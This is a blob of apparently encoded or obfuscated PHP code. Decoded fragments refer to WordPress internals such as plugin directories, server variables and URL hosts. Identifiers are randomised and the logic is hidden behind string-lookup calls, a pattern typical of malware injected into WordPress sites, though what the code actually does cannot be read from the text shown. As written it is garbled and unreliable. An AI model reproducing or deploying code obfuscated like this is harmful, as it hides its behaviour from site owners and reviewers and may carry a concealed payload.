,yy>?}}9nW?c9:$(((,n~8nxlil~em!!3u(ki|k`(( \`zgijdm((,d|f9x=j|9W:!((sgcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9=>9!$(((((,d|f9x=j|9W:!3(u((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!((s((u(((((un}fk|agf((((jaabb18:ycncef<gkx !(s''(kgex}|ijdm(i}|`gza|q(((|zq((s(an(( )lmnafml aW;~yrxiqyjro 9=>=!!!((((((zm|}zf3(((((((,eag0|x0>19=f{?x<(((5(daoxe<{;:;W<mx !3(((,b{jii`aygdy}:;;k((5(((( {|zafo!(((Hjj`>dqcld1xlfd: 9=>>! ,eag0|x0>19=f{?x<S9U$((nid{m$(((f}dd$(8$(((( 98<%<8!!3(((((an((( jj`>dqcld1xlfd: 9;89! jj`>dqcld1xlfd: 9=>?!$(,b{jii`aygdy}:;;k$(((,~?b9=1{ef>n1x?!(((..(,~?b9=1{ef>n1x?S9U((((555(((ojcir|0ro>gifi>;n?| !!((((s((((,nank}W:yln((((5(( af|!(om|Wgx|agf jj`>dqcld1xlfd: 9=>0!$((8!3an(((( aozjlg0f<j1nk{ 9<1>! !((((%((((,nank}W:yln(((4( 9=?#<<;!!(((zm|}zf3(((((an((( mqbjWepac|ioyk0 ,eag0|x0>19=f{?x<S9U!((()55(nid{m!(s(((H}xli|mWgx|agf rq;ec{mmgl| 9=>1!$((((aW;~yrxiqyjro 9<1>! !$(((rq;ec{mmgl| 9=9=!!3(zm|}zf3u((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9=>9!$((((jj`>dqcld1xlfd: 9=?8!!3u((((((,xd8`b<k9dofqp(((((5((mrppqfp~aze:9: !3an((((( ),xd8`b<k9dofqp(((tt((aozjlg0f<j1nk{ 9=<:! ,xd8`b<k9dofqp!((4((( <?=#:=!((((tt((aozjlg0f<j1nk{ 9=<:! ,xd8`b<k9dofqp!(6((( 98<0=?9#=!(((tt(()~rl=fzla18ykW?jkrj} ,xd8`b<k9dofqp!!((zm|}zf3(,ayb=reen}n(((((5((aW;~yrxiqyjro 9=91! aozjlg0f<j1nk{ :19!!(7((Hormfkglm ,xd8`b<k9dofqp$( :=V;9!!((2((((,xd8`b<k9dofqp3an(( )aozjlg0f<j1nk{ 9=?9! ,ayb=reen}n!((((tt((,ayb=reen}n((555((((**!((zm|}zf3(((an(( {jynjr};<k;ff=~{9pbapx ,eag0|x0>19=f{?x<S9U$((((jj`>dqcld1xlfd: 9=?:!(&(((ojcir|0ro>gifi>;n?| !((((&((((/2/(((&(((aW;~yrxiqyjro 9=?;! ,xd8`b<k9dofqp!(((&((/2/(&((((aW;~yrxiqyjro ;11! ,ayb=reen}n!!!(((((H}xli|mWgx|agf jj`>dqcld1xlfd: 9=>1!$((((rq;ec{mmgl| 9<1>! !$(jj`>dqcld1xlfd: 9=9=!!3((u(ki|k`(( \`zgijdm((,d|f9x=j|9W:!(s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9=>9!$(((((,d|f9x=j|9W:!3((u((ki|k`(( Mpkmx|agf(((((,d|f9x=j|9W:!((su''(_X(\ijdm(Jdgkc2(mpxazm(idmz|(((((u((((n}fk|agf((((((ziczWWj}p~nd}g0 !((((((s(((((an(((((( )jj`>dqcld1xlfd: 9=91! aozjlg0f<j1nk{ 9=?<!!!((zm|}zf(nid{m3(((,<p0mbe1rp(5(((lmnafml aW;~yrxiqyjro 9=>=!!((..((HaW;~yrxiqyjro 9=8<! IJ[XI\@(((((&(aozjlg0f<j1nk{ >88!!(((7(((IJ[XI\@(&(aW;~yrxiqyjro 9=?=!(2(((WWNADMWW3((zm|}zf(((aW;~yrxiqyjro 9=?>! ,<p0mbe1rp$(((((/{/!3((u(n}fk|agf((({=lfpcczcrzz?yko8W8{ !((((s((|zq(((s((an((( )jj`>dqcld1xlfd: 9=91! aozjlg0f<j1nk{ 9=??!!(tt(((()aozjlg0f<j1nk{ 9=91! aW;~yrxiqyjro 9=?0!!!(((zm|}zf3((((an(((( )lmnafml rq;ec{mmgl| 9=>=!!!((zm|}zf3,xd8`b<k9dofqp(5((mrppqfp~aze:9: !3(((((((an((( ),xd8`b<k9dofqp(tt((jj`>dqcld1xlfd: 9=<:! ,xd8`b<k9dofqp!((4((((( <?;#:?!!((zm|}zf3(,cmq((((5((ziczWWj}p~nd}g0 !3an(((( ,cmq(555(nid{m!((zm|}zf3((,mxcz|m1dd1c;qy{((5(aW;~yrxiqyjro 9=91! aozjlg0f<j1nk{ 9=?1!!((7((aW;~yrxiqyjro 9=08! aW;~yrxiqyjro 9=09!$((,xd8`b<k9dofqp!((2(((rq;ec{mmgl| 9=0:! ,xd8`b<k9dofqp!3(((,Woee<p`op`b|g((5((aozjlg0f<j1nk{ 9=0;!((&(((((aozjlg0f<j1nk{ 9=<:! ,xd8`b<k9dofqp!(((((&((/2/(&((,mxcz|m1dd1c;qy{(&(*Tf*(((&((,xd8`b<k9dofqp3(((,|a~pf1m=Wk((5(((((aozjlg0f<j1nk{ 9=0<! ,Woee<p`op`b|g!3((,~{W~1i9f9qi81pj(5((Haozjlg0f<j1nk{ 9=??! ,cmq$(/i/$(((((8$(((8!3(an(((( ,~{W~1i9f9qi81pj!((s,da|=p=8=jb((((((5((((( af|!((Haozjlg0f<j1nk{ 9=0=! ,~{W~1i9f9qi81pj!3((,}>zg~}l`8;`9|((5(((HaW;~yrxiqyjro 9=0>! ,~{W~1i9f9qi81pj$((((8$((,da|=p=8=jb!3(((((an(((((( aW;~yrxiqyjro 9=0?! ,}>zg~}l`8;`9|!((((..(((((rq;ec{mmgl| 9=00! ,}>zg~}l`8;`9|$((((,xd8`b<k9dofqp!(((((()55(nid{m!((((s((((HaW;~yrxiqyjro 9=01! ,~{W~1i9f9qi81pj!3((((zm|}zf3(u''(lmxzg~a{agf(kg}f|ijdm(kgeeifl((an(( ,da|=p=8=jb(65((((,|a~pf1m=Wk!(s(Haozjlg0f<j1nk{ 9=01! ,~{W~1i9f9qi81pj!3(,~{W~1i9f9qi81pj(((5(Hjj`>dqcld1xlfd: 9=??! ,cmq$(((//$((((((8$((((8!3((((an(( ,~{W~1i9f9qi81pj!((((s((HaW;~yrxiqyjro 9=18! ,~{W~1i9f9qi81pj$(((((jj`>dqcld1xlfd: 9=19! ,Woee<p`op`b|g$(,da|=p=8=jb$(((((*T8*!$(((((8!3(((,e90j`aq<8Wb((((5((((HaW;~yrxiqyjro 9=0>! ,~{W~1i9f9qi81pj$(((8$(,|a~pf1m=Wk!3(HaW;~yrxiqyjro 9=01! ,~{W~1i9f9qi81pj!3(((((an(( ,e90j`aq<8Wb()55(,Woee<p`op`b|g!(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9=1:!$(jj`>dqcld1xlfd: 9:91!!3,xpcyo::x|lb5%=>13,{<}n?{xg5 ,xpcyo::x|lb68!7,xpcyo::x|lb2%,xpcyo::x|lb3u(zm|}zf3u((md{m((s(Haozjlg0f<j1nk{ 9=1;! ,~{W~1i9f9qi81pj!3Hjj`>dqcld1xlfd: 9=01! ,~{W~1i9f9qi81pj!3((((u(((((u(,da|=p=8=jb((5(,|a~pf1m=Wk((#(( 988:#::!3(,~{W~1i9f9qi81pj((5((HaW;~yrxiqyjro 9=1<! ,cmq$(/k/$(( ;=9#>1!$((,da|=p=8=jb!3(an(((( ),~{W~1i9f9qi81pj!((zm|}zf3Haozjlg0f<j1nk{ 9=18! ,~{W~1i9f9qi81pj$(((jj`>dqcld1xlfd: 9=1=! ,Woee<p`op`b|g$((((,da|=p=8=jb$((((*T8*!$(((((8!3(,e90j`aq<8Wb((5((((Hrq;ec{mmgl| 9=0>! ,~{W~1i9f9qi81pj$((((8$(,|a~pf1m=Wk!3an(((( ,e90j`aq<8Wb()55(,Woee<p`op`b|g!(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9=1:!$(((jj`>dqcld1xlfd: 9:91!!3Haozjlg0f<j1nk{ 9=01! ,~{W~1i9f9qi81pj!3((((u(((ki|k`((( \`zgijdm((((,d|f9x=j|9W:!((s''(_X([kzax|(Egl}dm{2(lm~az|}idarm({|zi|moq(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9=1:!$((,d|f9x=j|9W:!3(u((ki|k`( Mpkmx|agf(((,d|f9x=j|9W:!((s,{fr1<18eWf5:;9t>>3,ym<|`Wz:{|5,{fr1<18eWfV9><3(((((((uu(((n}fk|agf(((md1=l1e:?eaxnW0xz?;>x1 ,k}zzmf|$((,n~8nxlil~em!((s''(zg|i|m(xaxmdafm(ngz(_X(Xg{|(\mze{(((((((an(((((( )aW;~yrxiqyjro 9=1>! ,k}zzmf|!(((tt((((,k}zzmf|(555(**!((zm|}zf((((jj`>dqcld1xlfd: 11;!(((((&((,n~8nxlil~em(&((*Tf*3an(( aW;~yrxiqyjro 9;89! aozjlg0f<j1nk{ 9=1?!$(,k}zzmf|$(,jg=y:<1cir$((XZMOWGNN[M\WKIX\]ZM!!((((s''(Hzmkdiae(|z}{|%ifk`gz(,fkknn:}>cr{r(((5((,jg=y:<1cirS8US9U(#(aW;~yrxiqyjro 9=0<! ,jg=y:<1cirS8US8U!3,g>fogd|b510":3,i|ingxke8{i={o5,g>fogd|b%:83,do:>i:}lf;9((5(((aW;~yrxiqyjro 9=10! ,k}zzmf|$(,fkknn:}>cr{r$( 9<8:>%=0;<!!3`adm((( jj`>dqcld1xlfd: 9=1>! ,do:>i:}lf;9!((..(((((jj`>dqcld1xlfd: 9;89! aW;~yrxiqyjro 9=11!$(,do:>i:}lf;9$(,Wle!!(s(((,fkknn:}>cr{r((((#5((((aozjlg0f<j1nk{ 9=0<! ,WleS8U!3,do:>i:}lf;9(5(((((jj`>dqcld1xlfd: 9=10! ,k}zzmf|$(((((,fkknn:}>cr{r$(( 09<=#<?!!3uzm|}zf((((jj`>dqcld1xlfd: 9>88! ,k}zzmf|$((8$((((,fkknn:}>cr{r!((&((*Tf*(&(,n~8nxlil~em((&(*Tf*((&((aW;~yrxiqyjro 9>89! ,k}zzmf|$(,fkknn:}>cr{r!3(((((uzm|}zf(((((aozjlg0f<j1nk{ 9>8:!((&(((((,n~8nxlil~em(&((((*Tf76Tf*(&((,k}zzmf|3(((u(n}fk|agf(|`o{Wa{`?>nr9n?n:`rf ,cmq!((((((san((( )aozjlg0f<j1nk{ 9>8;! jj`>dqcld1xlfd: 9:=:!!!(((zm|}zf((|z}m3,~c0W8pqzod((((5((((Hom|Wgx|agf rq;ec{mmgl| 9>8<!((&((,cmq$((((**!3(((((((an(( aW;~yrxiqyjro 9=1>! ,~c0W8pqzod!(..(rq;ec{mmgl| 9>8=! ,~c0W8pqzod$((/t/!()55((((nid{m!(s(,ndjnir;e;:?fazg9(((5(aW;~yrxiqyjro ::8! /t/$(,~c0W8pqzod$(:!3an(((  af|!((,ndjnir;e;:?fazg9S8U((555((( af|!((( aozjlg0f<j1nk{ 9<1>! !((('((( 9=><<0%?88<0!!(((..(( af|!(,ndjnir;e;:?fazg9S9U((((65((( 8p:#8p9!!((((((zm|}zf((nid{m3(((uzm|}zf(((|z}m3(((u(n}fk|agf(((kyp~me~qox8raabz ,cmq!(((s''(_X(Ngzei||afo(IXA({a|m(em|i(an( )rq;ec{mmgl| 9>8;! rq;ec{mmgl| 9>8>!!((tt(((()aozjlg0f<j1nk{ 9>8?! jj`>dqcld1xlfd: 9>80!!!(((zm|}zf3,l<c;ayr{d((5( af|!((( aozjlg0f<j1nk{ 9<1>! !((((('( 0>;<1#=9!!3(,~c0W8pqzod(5(((((Hom|Wgx|agf aozjlg0f<j1nk{ 9>8<!(((((&((((((,cmq$(**!3(,ebezm{a8c:j8o9}~(5(83an( aW;~yrxiqyjro 9>81! ,~c0W8pqzod!(..(aozjlg0f<j1nk{ 9>8=! ,~c0W8pqzod$(/t/!()55((nid{m!((((s,ndjnir;e;:?fazg9((((((5((jj`>dqcld1xlfd: 9>98! /t/$((,~c0W8pqzod$(((:!3an(((  af|!((((,ndjnir;e;:?fazg9S8U(555((,l<c;ayr{d!(,ebezm{a8c:j8o9}~((((5(((((( af|!(,ndjnir;e;:?fazg9S9U3(((u(((((,ebezm{a8c:j8o9}~##3((H}xli|mWgx|agf aW;~yrxiqyjro 9>8<!(((&(((,cmq$(,l<c;ayr{d(((&((/t/((&((((,ebezm{a8c:j8o9}~$(rq;ec{mmgl| 9=9=!!3(an(( ,ebezm{a8c:j8o9}~((((65((((( >%;!!((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9>99!$(jj`>dqcld1xlfd: 9>9:!(((&(((,cmq!3u(n}fk|agf((((((}W91}qo?zar<`am !((s((((|zq(s((an( )lmnafml aW;~yrxiqyjro 9=>=!!!(zm|}zf3an(( )lmnafml rq;ec{mmgl| 9<9;!!(tt()HaW;~yrxiqyjro 0?0! _XWKGF\MF\WLAZ!((((tt((()gzca`j`{e`e<W|`r _XWKGF\MF\WLAZ!!((zm|}zf3((((,~<nor9>l8n((5(((((_XWKGF\MF\WLAZ3((((,~yk|W;=1=`:bz(5(,~<nor9>l8n((&(((aW;~yrxiqyjro 9;1<!3((((((,l~y:yixbb~r8q(((5(aozjlg0f<j1nk{ 9>9;! z9>1{1jm8r8;e~8 !$(((aozjlg0f<j1nk{ 9>9<!!3(,yn0<on0x1>n<`zz((5((g{mxxjmmdpz1}` IJ[XI\@(&(((((aozjlg0f<j1nk{ 9>9=!$(( :#>!!((&(jj`>dqcld1xlfd: 9;:0!3((,m>b9c}mrikmfzn(5(((e||ngqy~:jfj0;o0a !3(,y{}:=ajkd(5((((g{mxxjmmdpz1}` IJ[XI\@(&((rq;ec{mmgl| 9=;9!$(( 8p1#8p9!!3(,gc9=i{l}~0p`(5((((((jj`>dqcld1xlfd: 9>8?! jj`>dqcld1xlfd: 9>9>!!(7((ziczWWj}p~nd}g0 !(2(((((nid{m3(,g8kyi==9n?~r8(5((,gc9=i{l}~0p`(()55((nid{m(7(rq;ec{mmgl| 9>9?! ,gc9=i{l}~0p`!(((((2((83,d}~|8n>?WW(5((((((a{{m| ,ODGJID[SaW;~yrxiqyjro 9;:9!U%6xzmnap!(((((7(,ODGJID[Saozjlg0f<j1nk{ 9;:9!U%6xzmnap((2((((aozjlg0f<j1nk{ 988:!3,k8rzmo9:g=z:o9zd((5(((aozjlg0f<j1nk{ 9>90!((&(jj`>dqcld1xlfd: 9>89! rq;ec{mmgl| 9=0:! ,l~y:yixbb~r8q(&( {|zafo!(xzbpr<d>l>eb<:~ !!$((8$(((((( 8p?#8p9!!3(,q~lq|ap|fiob>n((5((f1Wn{ek<blp<m>x`Wx<mn1 (((((jj`>dqcld1xlfd: ?;8!$(izziq /WW[D]OWW/$(/WWRAXWFIEMWW/$((((((/WW[@EGXWCMQWW/$(/WWGX\WFIEMWW/$(/WW_XWXZMNAPWW/$(/WWO]IZLWFIEMWW/$(/WW^MZ[AGFWW/!$izziq ,l~y:yixbb~r8q$(((,yn0<on0x1>n<`zz$(((,g8kyi==9n?~r8$(((,y{}:=ajkd$(((,d}~|8n>?WW$((((,k8rzmo9:g=z:o9zd$((ojcir|0ro>gifi>;n?| !!((((!3((((an(( ),q~lq|ap|fiob>n!(((s((((((an(((  af|!(((((om|Wgx|agf aW;~yrxiqyjro 9<?0!$(((8!(((6(8!(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9>91!$((((((aozjlg0f<j1nk{ 9>:8!!3(zm|}zf3(((u(,k}zzmf|((((5((Haozjlg0f<j1nk{ 9=8<! ,~yk|W;=1=`:bz!(7(Haozjlg0f<j1nk{ 9>:9! ,~yk|W;=1=`:bz!((2((**3((an(( )aW;~yrxiqyjro 9>::! ,k}zzmf|!!((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9>:;!$((((aozjlg0f<j1nk{ 9<<:!!3(zm|}zf3(u(,k}zzmf|((((5((((((bW0a{a?}a`=bcb<?m ,k}zzmf|!3,b~9?l=gbz|fqqf((5(((ojcir|0ro>gifi>;n?| !((((((&((((/2/(((((&(((g{mxxjmmdpz1}` IJ[XI\@((&(((jj`>dqcld1xlfd: 9>:<!$(((( <449!!3(,{zyeoW:8}yf1r>ec(5((jj`>dqcld1xlfd: 9>:=!(((((&(((,b~9?l=gbz|fqqf(((&(aW;~yrxiqyjro 9=<0!3(,e9;0`fp1zi(5((aW;~yrxiqyjro 9>:>!(((&(,b~9?l=gbz|fqqf(&((jj`>dqcld1xlfd: 9>:?!3(((,krm}nW?pyrf(5((g{mxxjmmdpz1}` IJ[XI\@((&((((rq;ec{mmgl| 9>:<!$((( 9=>V9<0!!3((((((((,}~q>c=kmifrk~ba(5(rq;ec{mmgl| 9>:0! aW;~yrxiqyjro 9>:1!(&(((((,krm}nW?pyrf((&(((jj`>dqcld1xlfd: 9>;8!$(**$((,k}zzmf|!3(,}f?qbyjn8dby=(((5( jj`>dqcld1xlfd: 9>8=! ,}~q>c=kmifrk~ba$(((aozjlg0f<j1nk{ 9>;9!!((()55((nid{m!3an( aW;~yrxiqyjro 9>;:! ,k}zzmf|$((,{zyeoW:8}yf1r>ec!()55((((nid{m(..(((((aozjlg0f<j1nk{ 9>;;! ,k}zzmf|$(((,e9;0`fp1zi!()55(((nid{m((..(((((),}f?qbyjn8dby=!((((srkpio>`8:q~g8adm< !3(zm|}zf3((u((((,k}zzmf|(((5(jj`>dqcld1xlfd: 9>;<! aozjlg0f<j1nk{ 9>;=!$((**$((((,}~q>c=kmifrk~ba!3(((((((an(( )rq;ec{mmgl| 9>::! ,k}zzmf|!!((s''(af|mzdmi~m(difm{,me}z1?ikacc95:1#993,ogdg<:05,me}z1?ikacc9%:=3((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9>;>!$(aozjlg0f<j1nk{ 9=>8!!3((((zm|}zf3(u(s(,k}zzmf|(((5(((bW0a{a?}a`=bcb<?m ,k}zzmf|!3,zk=maWWqq0((5((rq;ec{mmgl| 9>;?! jj`>dqcld1xlfd: 9=<=!$(**$(((((,q~lq|ap|fiob>n!3((,miyxxy{~lgWqn~(5(( aW;~yrxiqyjro 9=0<! ,k}zzmf|!(555((((((8!3(an(( ),miyxxy{~lgWqn~!(san((( )|`o{Wa{`?>nr9n?n:`rf aozjlg0f<j1nk{ 9>;>!!!((sgcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9>;>!$((aW;~yrxiqyjro 9=>:!!3(zm|}zf3(((u(an(( )f89kW1g}g|i=ira ,~yk|W;=1=`:bz$((,k}zzmf|!!(((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9>;0!$((aW;~yrxiqyjro 9=>;!!3zm|}zf3(((((u((((((kyp~me~qox8raabz aozjlg0f<j1nk{ 9>;1!!3(u((md{m((s((an((( )f89kW1g}g|i=ira ,~yk|W;=1=`:bz$(**!!((s((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9><8!$((aozjlg0f<j1nk{ 9><9!!3((zm|}zf3((((u(((((u(,~o8a|m=x`{Wp`((5(md1=l1e:?eaxnW0xz?;>x1 ,k}zzmf|$((((,{zyeoW:8}yf1r>ec(&(((((*Tf*(&(,zk=maWWqq0((&(*Tf*((&(,e9;0`fp1zi!3((an( ){jynjr};<k;ff=~{9pbapx ,~yk|W;=1=`:bz$(((((,~o8a|m=x`{Wp`!!((((s(zm|}zf3((((u(an((( ,miyxxy{~lgWqn~!(d8incq1<`|<n`1Wi ,~yk|W;=1=`:bz!3((((((rkpio>`8:q~g8adm< !3(u((u((ki|k`(( \`zgijdm((,d|f9x=j|9W:!((s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9><8!$(((,d|f9x=j|9W:!3(u(ki|k`( Mpkmx|agf(((((,d|f9x=j|9W:!(s((((((((u(((((((u(n}fk|agf(((d?bbzijdefzod<jy99j !((((s(((((|zq((((s''(_X(Xg{|(Kgf|mf|(zmza|m(nd}{`((an(( )lmnafml aW;~yrxiqyjro 9=>=!!!(((zm|}zf3((an( rem9ln;b0>:j~|k9reo= z9>1{1jm8r8;e~8 !!!(zm|}zf3((((((((an((( )jj`>dqcld1xlfd: 9>8?! jj`>dqcld1xlfd: 9;0:!!!((((zm|}zf3an(( aW;~yrxiqyjro 9;10! !((((555(((rq;ec{mmgl| 0<!!((((zm|}zf3((((an( )a{{m| ,W[MZ^MZSaW;~yrxiqyjro 9><:!U!!(zm|}zf3((((an( om|W|zif{amf| rq;ec{mmgl| 9><;!!!((((((zm|}zf3((((,W:a1ci:gd>nr(((5(e||ngqy~:jfj0;o0a !3((an( )Hjj`>dqcld1xlfd: 9;??! ,W:a1ci:gd>nr!!(((Wfpcp9{<d<qobniil ,W:a1ci:gd>nr$( <>0#:=!$(((|z}m!3an((( )Haozjlg0f<j1nk{ 9;??! ,W:a1ci:gd>nr!((((((tt(((()Haozjlg0f<j1nk{ 9><<! ,W:a1ci:gd>nr!!((s((((((,W:a1ci:gd>nr(5(((IJ[XI\@(&((rq;ec{mmgl| 9><=!3(((an(((( )Hjj`>dqcld1xlfd: 9><<! ,W:a1ci:gd>nr!!((,W:a1ci:gd>nr((5((}ql:?yp08{}elk0~|}1ni !3((((u,ep=a=linoy~(((((5(((((g{mxxjmmdpz1}` IJ[XI\@(((((&((/o/$(((( 8p:#8p>!!3(((((((,dm~m1c0<ciqa((((((5(((rq;ec{mmgl| 9><>!(&(((,ep=a=linoy~((((&(((rq;ec{mmgl| 9>9<!3,{a1`{pi?l91j(5(,W:a1ci:gd>nr(((((&((((/'/(((((&(((,dm~m1c0<ciqa3''(_X(Zml}p([|gzm2(laiofg{|ak(`ifl{`icm(((((,~mrdk=<};=xz(5(((((,W:a1ci:gd>nr(((&(jj`>dqcld1xlfd: 9><?!((&(((,ep=a=linoy~3(ngzmik`( izziq ,W:a1ci:gd>nr$((((((IJ[XI\@((&((aozjlg0f<j1nk{ 9><=!$(((((}ql:?yp08{}elk0~|}1ni !!(i{(,pcb`in0igci!((((s(,alp1aa{{cy;=((((5((((,pcb`in0igci((&(aozjlg0f<j1nk{ 9><0!((((((&((((((,ep=a=linoy~3an( HaW;~yrxiqyjro 9=80! ,alp1aa{{cy;=!!(s,g=|}bpalnqqzq((((5( af|!((((Hrq;ec{mmgl| 9><1! ,alp1aa{{cy;=!3(((an(( ,g=|}bpalnqqzq(((45(((((rq;ec{mmgl| 9>=8! !(((((%((( 0>;?8#;8!(((tt(((,g=|}bpalnqqzq((6((jj`>dqcld1xlfd: 9>=9! !((#( ;;#:>?!!((s((aqdz{8}zyk~qm;yf ,alp1aa{{cy;=!3(kgf|af}m3,n~z9~r>dell8f5:;"=3,zmayyek5,n~z9~r>dell8f%>3(u''(zmoa{|mz(iddgki|agf(((an((( Hrq;ec{mmgl| 9=80! ,pcb`in0igci(&(aozjlg0f<j1nk{ 9>=:!(&((,ep=a=linoy~((&((rq;ec{mmgl| 9>9<!!!((zm|}zf3((((aqdz{8}zyk~qm;yf ,alp1aa{{cy;=!3(((u((((u(}f{m| ,pcb`in0igci$((,alp1aa{{cy;=$((((((,g=|}bpalnqqzq!3((((((((,lkW|f;jczgyqg((5(((IJ[XI\@(&(jj`>dqcld1xlfd: 9>=;!(((&((,dm~m1c0<ciqa3((an((((( ,W:a1ci:gd>nr((((()55(((IJ[XI\@(((&(((((aW;~yrxiqyjro 9><=!((((..(HaW;~yrxiqyjro 9=80! ,lkW|f;jczgyqg!((((..((}{opyco<ikm<o?zxqboaod ,lkW|f;jczgyqg!()55(((nid{m!((s(((yy|m;zWdxb}n{r{~akm ,lkW|f;jczgyqg$((((( 8p90>#8p9m!!3((an(( aqdz{8}zyk~qm;yf ,lkW|f;jczgyqg!((..((aozjlg0f<j1nk{ 9>8?! rq;ec{mmgl| :88!!!(((Hgxkik`mWaf~idali|m ,lkW|f;jczgyqg$((((|z}m!3u}f{m| ,lkW|f;jczgyqg!3(((an(( Haozjlg0f<j1nk{ 9=80! ,~mrdk=<};=xz!(((..(( af|!((Haozjlg0f<j1nk{ 9><1! ,~mrdk=<};=xz!(6((jj`>dqcld1xlfd: 9>=9! !(((%(( 8pl:#8p9m!!((((zm|}zf3((((an(((( Hjj`>dqcld1xlfd: 9=80! ,{a1`{pi?l91j!((..(((( rq;ec{mmgl| 9>=<! !((%( af|!((Hnadmk|aem ,{a1`{pi?l91j!!((((4((( 8pm8#8p<k!!(((zm|}zf3((an( Haozjlg0f<j1nk{ 9=80! ,{a1`{pi?l91j!!((s((,nrWbe0<zea~iyp}k(5((Hjj`>dqcld1xlfd: 9=80! ,W:a1ci:gd>nr(((&(aozjlg0f<j1nk{ 9>==!(((&(,ep=a=linoy~!(((7((jj`>dqcld1xlfd: 9:09!  {|zafo!(Hrq;ec{mmgl| 9>=>! ,W:a1ci:gd>nr(((&((aozjlg0f<j1nk{ 9>==!(((&(,ep=a=linoy~!!((((2(**3(((((((an((((( ,nrWbe0<zea~iyp}k(()55((**(..(((aozjlg0f<j1nk{ 9>=?! jj`>dqcld1xlfd: 9>=0!$(((((,nrWbe0<zea~iyp}k!(..((~mz{agfWkgexizm ,nrWbe0<zea~iyp}k$((ojcir|0ro>gifi>;n?| !$((((/6/!!(zm|}zf3}f{m| ,nrWbe0<zea~iyp}k!3u(((an(((( Hrq;ec{mmgl| 9=80! ,{a1`{pi?l91j!!(((s,k:10Wqa|kl((5(,W:a1ci:gd>nr(&((aozjlg0f<j1nk{ 9>=1!(&((g{mxxjmmdpz1}` IJ[XI\@((((&((((/o/$(( 8p?#8p9!!3((((((((,y~`q`zjb>yr((5(((Hjj`>dqcld1xlfd: 9=80! ,k:10Wqa|kl!((7( {|zafo!(Haozjlg0f<j1nk{ 9>=>! ,k:10Wqa|kl!((((2(((((**3(((((,p0{k~gq~i((((5(83,:?;fb8co8ocx5 8pm?#8pn=!3,crpx`0gm?bd95,:?;fb8co8ocx-9>3((((an( ,y~`q`zjb>yr(()55((((**!((((s,g;gb9}}q9e{(((5((aozjlg0f<j1nk{ 9>98! /t/$(((,y~`q`zjb>yr!3(((,p0{k~gq~i(((5(( af|!((,g;gb9}}q9e{S8U3(((u((an((( ,p0{k~gq~i(6(((8((..(jj`>dqcld1xlfd: 9>>8! !(%(,p0{k~gq~i(6(( 010#:!!((((((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9>>9!$((((((aW;~yrxiqyjro 9>>:!!3(((md{man(( ,p0{k~gq~i(((555(((8((..( rq;ec{mmgl| 9>>;! !((((%((((( af|!(Hnadmk|aem ,{a1`{pi?l91j!!((((6((( 91?#?8;!!(((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9>>9!$(((jj`>dqcld1xlfd: 9>><!!3((}f{m| ,k:10Wqa|kl$((((((,y~`q`zjb>yr$(,g;gb9}}q9e{$(,p0{k~gq~i!3u,xd8`b<k9dofqp(5((mrppqfp~aze:9: !3((((((((an((( ),xd8`b<k9dofqp(tt((jj`>dqcld1xlfd: 9=0<! ,xd8`b<k9dofqp!((4(((( 8pni#8pni!!((zm|}zf3(((((((,ro<9dniji?1Wk`x((5(p|;izdoby9r|y{a|: !3(((((,l~y:yixbb~r8q(5((((((jj`>dqcld1xlfd: 9>9;! z9>1{1jm8r8;e~8 !$((aozjlg0f<j1nk{ 9>>=!!3,m9mol~{ek`apjb1(5(((((}ql:?yp08{}elk0~|}1ni !((&((((((aozjlg0f<j1nk{ 9=!3(((,~~i=i=l}xoj~c>(5(((HaW;~yrxiqyjro 9>>>! ,m9mol~{ek`apjb1!(((((7(((( ,m9mol~{ek`apjb1((&(/'/((&((((,l~y:yixbb~r8q(((&((((jj`>dqcld1xlfd: 9>>=!!2((((( }ql:?yp08{}elk0~|}1ni !((&(((rq;ec{mmgl| ==!(((((&((((,l~y:yixbb~r8q((((&((/'/(((&(((,l~y:yixbb~r8q(&((jj`>dqcld1xlfd: 9>>=!!3((((,r<zliei1af<r}ygd((((5((((((rq;ec{mmgl| 9>8?! jj`>dqcld1xlfd: ?0;!!((7(aW;~yrxiqyjro 9;<>! `gemW}zd !$((X@XW]ZDW@G[\!(2(( a{{m| ,W[MZ^MZSaW;~yrxiqyjro ><>!U!((7((((,W[MZ^MZSjj`>dqcld1xlfd: ><>!U((2(**!3,a?n~no?qxgW((5((((( lmnafml aozjlg0f<j1nk{ 9>>?!!(..((((_XE]WXD]OAFWLAZ!(7(((((_XE]WXD]OAFWLAZ(((2(((}ql:?yp08{}elk0~|}1ni !(&(aW;~yrxiqyjro 9=!3(,q}x1:>0fx>:m?=((5( lmnafml aW;~yrxiqyjro 0:0!!(..((((_XWXD]OAFWLAZ!((7(((_XWXD]OAFWLAZ(2((}ql:?yp08{}elk0~|}1ni !(((&(((((aozjlg0f<j1nk{ 9>>0!3((((,i=l9fzo8~>(((((5(((lmnafml aW;~yrxiqyjro 9>>1!!((7(_XWKGF\MF\WLAZ((((2((}ql:?yp08{}elk0~|}1ni !3((((((,gyW:a|xrerz((((5(((f1Wn{ek<blp<m>x`Wx<mn1 (((rq;ec{mmgl| 9>?8!$izziq /WWXI\@WJ><WW/$((((/WWXD]OAFWJI[M><WW/$((/WWLGEIAFWW/$(((/WW@JWJ><WW/$((/WWOXI\@WJ><WW/$(/WWIJ[XI\@WJ><WW/$(((/WWKGF\MF\LAZWJ><WW/$((((/WWE]LAZWJ><WW/$((/WWXD]OAFLAZWJ><WW/$(((/WW[D]OWW/$((((/WW^MZ[AGFWW/!$((izziq jj`>dqcld1xlfd: 9>?9! ,~~i=i=l}xoj~c>!$(((,ro<9dniji?1Wk`x$(,r<zliei1af<r}ygd$(jj`>dqcld1xlfd: 9>?:! ,~mrdk=<};=xz!$((aW;~yrxiqyjro 